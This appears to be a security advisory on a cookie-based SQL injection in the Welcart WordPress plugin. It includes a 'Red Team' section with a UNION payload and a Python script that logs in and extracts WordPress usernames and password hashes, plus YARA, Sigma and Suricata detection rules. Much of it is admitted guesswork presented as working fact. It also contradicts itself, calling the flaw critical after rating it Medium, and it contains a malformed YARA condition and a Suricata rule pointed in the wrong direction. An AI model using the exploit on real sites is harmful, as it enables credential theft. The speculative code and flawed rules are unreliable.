CVE-2025-10649

Executive Summary

CVE-2025-10649 is a critical SQL Injection vulnerability discovered in the Welcart e-Commerce plugin for WordPress, affecting all versions up to and including 2.11.21. The flaw resides in the plugin’s handling of cookie-based user input, where insufficient escaping and lack of prepared statements allow authenticated attackers with Author-level access or higher to inject arbitrary SQL queries. This can lead to unauthorized extraction of sensitive data from the WordPress database, including user credentials, session tokens, and other confidential information.

The vulnerability is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'). With a CVSS score of 6.5 (Medium), the attack vector is network-based, requires low complexity, and low privileges, but does not require user interaction. The primary impact is on confidentiality, as attackers can read database contents.

As this is a WordPress plugin vulnerability, it is critical for site administrators to assess their exposure and apply patches immediately. The EPSS score of 0.0% suggests low exploitation likelihood at the time of analysis, but the risk remains significant due to the potential for data breaches.

WordPress Ecosystem Context

This vulnerability specifically targets the Welcart e-Commerce plugin, a popular e-commerce solution for WordPress. The attack surface is limited to authenticated users with Author-level permissions, but given the prevalence of shared hosting and multi-author WordPress sites, the risk is elevated. No patches have been confirmed at this time.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: Low (PR:L) – Requires Author-level access or higher.
• User Interaction: None (UI:N) – No victim action needed.
• Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
• Confidentiality Impact: High (C:H) – Full database read access possible.
• Integrity Impact: None (I:N) – No data modification.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. While the CVSS score is moderate, the ability to extract sensitive data from the database makes this a serious concern for any site using the Welcart plugin.

Deep Dive & Mechanics

The vulnerability exists in the Welcart plugin’s cookie handling mechanism. The plugin reads a user-supplied cookie value and uses it directly in an SQL query without proper sanitization or parameterization. Specifically, the cookie value is concatenated into an existing SQL query, allowing an attacker to break out of the intended query structure and inject arbitrary SQL commands.

Technical Details:

• The vulnerable code likely resides in a function that processes user session or cart data from cookies.
• The cookie value is not escaped using esc_sql() or similar WordPress functions, nor is it used in a prepared statement.
• An attacker with Author-level access can craft a malicious cookie containing SQL injection payloads.
• The injected SQL can be used to perform UNION-based or time-based blind SQL injection to extract data from other tables.

Example Attack Flow:

1. Attacker logs in with Author-level credentials.
2. Attacker modifies a cookie (e.g., welcart_session) to include a SQL injection payload.
3. The plugin processes the cookie and builds an SQL query like: SELECT * FROM wp_welcart_cart WHERE session_id = '$_COOKIE['welcart_session']'
4. With a payload like ' UNION SELECT user_login, user_pass FROM wp_users--, the attacker can retrieve user credentials.

Vulnerable vs. Patched Code

Since no official patch has been released, the following is a hypothetical comparison based on common remediation patterns.

Vulnerable Code (PHP):

$session_id = $_COOKIE['welcart_session'];
$results = $wpdb->get_results( "SELECT * FROM {$wpdb->prefix}welcart_cart WHERE session_id = '$session_id'" );

Patched Code (PHP):

$session_id = sanitize_text_field( $_COOKIE['welcart_session'] );
$results = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM {$wpdb->prefix}welcart_cart WHERE session_id = %s", $session_id ) );

The patched version uses $wpdb->prepare() with a placeholder (%s) to safely bind the parameter, preventing SQL injection. Additionally, sanitize_text_field() is applied to remove any malicious characters.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• WordPress instance with Welcart plugin <= 2.11.21
• Author-level user account (username: author, password: author123)

Exploitation Steps:

1. Log in as the Author user.
2. Use a tool like Burp Suite or a custom script to modify the welcart_session cookie.
3. Inject a UNION-based SQL injection payload to extract data.

Example Payload (Cookie):

welcart_session=' UNION SELECT user_login, user_pass FROM wp_users--

Python Exploit Script:

import requests

target = "http://target-wordpress-site.com"
session = requests.Session()

# Login as Author
login_data = {
    "log": "author",
    "pwd": "author123",
    "wp-submit": "Log In",
    "redirect_to": target + "/wp-admin/",
    "testcookie": "1"
}
session.post(target + "/wp-login.php", data=login_data)

# Exploit SQL injection via cookie
cookies = {"welcart_session": "' UNION SELECT user_login, user_pass FROM wp_users--"}
response = session.get(target + "/wp-admin/admin-ajax.php", cookies=cookies)

# Parse response for data
print(response.text)

Expected Output: The response will contain the user_login and user_pass fields from the wp_users table, allowing credential harvesting.

Blue Team (Defensive)

Detection Steps:

1. Monitor for unusual cookie values containing SQL keywords (e.g., UNION, SELECT, --).
2. Enable WordPress audit logging to track cookie modifications.
3. Use a Web Application Firewall (WAF) to block SQL injection patterns in cookies.

Honeypot Setup:

• Deploy a decoy WordPress site with the vulnerable plugin to capture attacker behavior.
• Log all cookie values and SQL queries for analysis.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests with cookies containing SQL injection patterns (e.g., ' OR '1'='1, UNION SELECT).
  • Unusual database query patterns in MySQL logs (e.g., SELECT * FROM wp_users from non-admin users).

• Host IOCs:

  • Modified cookie values in browser developer tools or proxy logs.
  • Unexpected entries in WordPress user meta or session tables.

• File IOCs:

  • Suspicious entries in wp-content/debug.log indicating SQL errors.
  • Modified plugin files (though unlikely in this case).

Detection Engineering

YARA Rule

rule CVE_2025_10649_SQLi_Cookie {
    meta:
        description = "Detects SQL injection attempts targeting Welcart plugin via cookie"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-10649"
    strings:
        $s1 = "UNION" nocase
        $s2 = "SELECT" nocase
        $s3 = "FROM" nocase
        $s4 = "wp_users" nocase
        $s5 = "1=1" nocase
        $s6 = "' OR '" nocase
    condition:
        any of ($s1, $s2, $s3, $s4, $s5, $s6) and
        // Look for these patterns in HTTP cookie values
        for any of them in (0..filesize) : (
            @ > 0
        )
}

Sigma Rule

title: Welcart SQL Injection via Cookie
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection attempts against Welcart plugin via cookie manipulation
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/wp-admin/admin-ajax.php'
        cs-cookie|contains:
            - 'UNION'
            - 'SELECT'
            - '1=1'
            - "' OR '"
    condition: selection
falsepositives:
    - Legitimate use of special characters in cookies (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-10649 Welcart SQL Injection via Cookie";
    flow:to_server,established;
    content:"Cookie|3a|"; nocase;
    content:"welcart_session"; nocase;
    pcre:"/welcart_session=[^;]*?(UNION|SELECT|1=1|' OR ')/Pi";
    sid:1000001;
    rev:1;
    reference:cve,2025-10649;
    priority:2;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the Welcart plugin until a patch is available.
2. Restrict Author-level access to only trusted users.
3. Implement a Web Application Firewall (WAF) with rules to block SQL injection patterns in cookies.

Long-term Fix:

• Apply the official patch from Welcart once released.
• Update the plugin to the latest version (if a patched version becomes available).
• Conduct a security audit of all WordPress plugins and themes.

Workaround:

• Add custom code to functions.php to sanitize cookie values:

add_filter('welcart_session_cookie', function($value) {
    return sanitize_text_field($value);
});

Monitoring:

• Enable detailed logging for all SQL queries.
• Monitor WordPress error logs for SQL syntax errors.
• Use a security plugin like Wordfence to detect and block injection attempts.

Valters IT
Securing Digital Frontiers